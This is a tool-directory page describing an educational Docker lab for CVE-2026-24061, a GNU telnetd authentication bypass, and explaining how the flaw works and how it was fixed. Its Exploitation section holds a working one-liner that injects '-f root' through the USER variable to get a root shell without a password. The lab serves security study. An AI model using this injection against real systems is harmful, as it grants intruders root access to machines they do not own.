Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-24061_Lab — Educational Docker lab demonstrating CVE-2026-24061, an authentication bypass in GNU telnetd allowing root access via argument injection in the USER environment variable. | Kitploit
Tools/GitHubGitHub/gabs-hub/cve-2026-24061_lab
Vulnerability AnalysisExploitationAuthenticationLearning & EducationLabs & Practice
GitHubgabs-hub/cve-2026-24061_lab

CVE-2026-24061_Lab

Educational Docker lab demonstrating CVE-2026-24061, an authentication bypass in GNU telnetd allowing root access via argument injection in the USER environment variable.

View Repository
7 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-24061 Telnetd Lab

This repository contains a simple Docker lab to demonstrate the CVE-2026-24061 vulnerability. It allows authentication bypass and root access on GNU telnetd, on Linux.

The purpose is exclusively educational.

Requirements

  • Docker installed
  • Telnet Client installed

Building the image

root@kitploit:~
docker build -t cve-2026-24061 .

Running the container

root@kitploit:~
docker run -it -p 2323:23 cve-2026-24061

Exploitation

In another terminal, run:

root@kitploit:~
USER="-f root" telnet -a localhost 2323

After that, access will be granted directly as root, without a password prompt.

Notes

  • The container uses a vulnerable version of GNU inetutils telnetd
  • The Telnet service should not be exposed in real environments
  • Use this lab only for study and demonstration

How does the vulnerability work?

The flaw occurs due to an argument injection during the invocation of the /usr/bin/login utility. The telnetd dynamically builds the command line used to call login and includes the value of the USER environment variable through the %U placeholder, without any sanitization.

Since the login utility accepts the -f option, which bypasses password authentication, an attacker can set USER="-f root" and force a direct login as root.

Because telnetd runs with elevated privileges, this manipulation immediately results in a root shell without requiring valid credentials. The exploitation is simple, requires no prior interaction, and can be easily automated, which justifies the CVSS score of 9.8.

The vulnerability was fixed by introducing validation and sanitization of the USER variable, blocking values starting with a hyphen and special characters, preventing argument injection into login.

Download Tool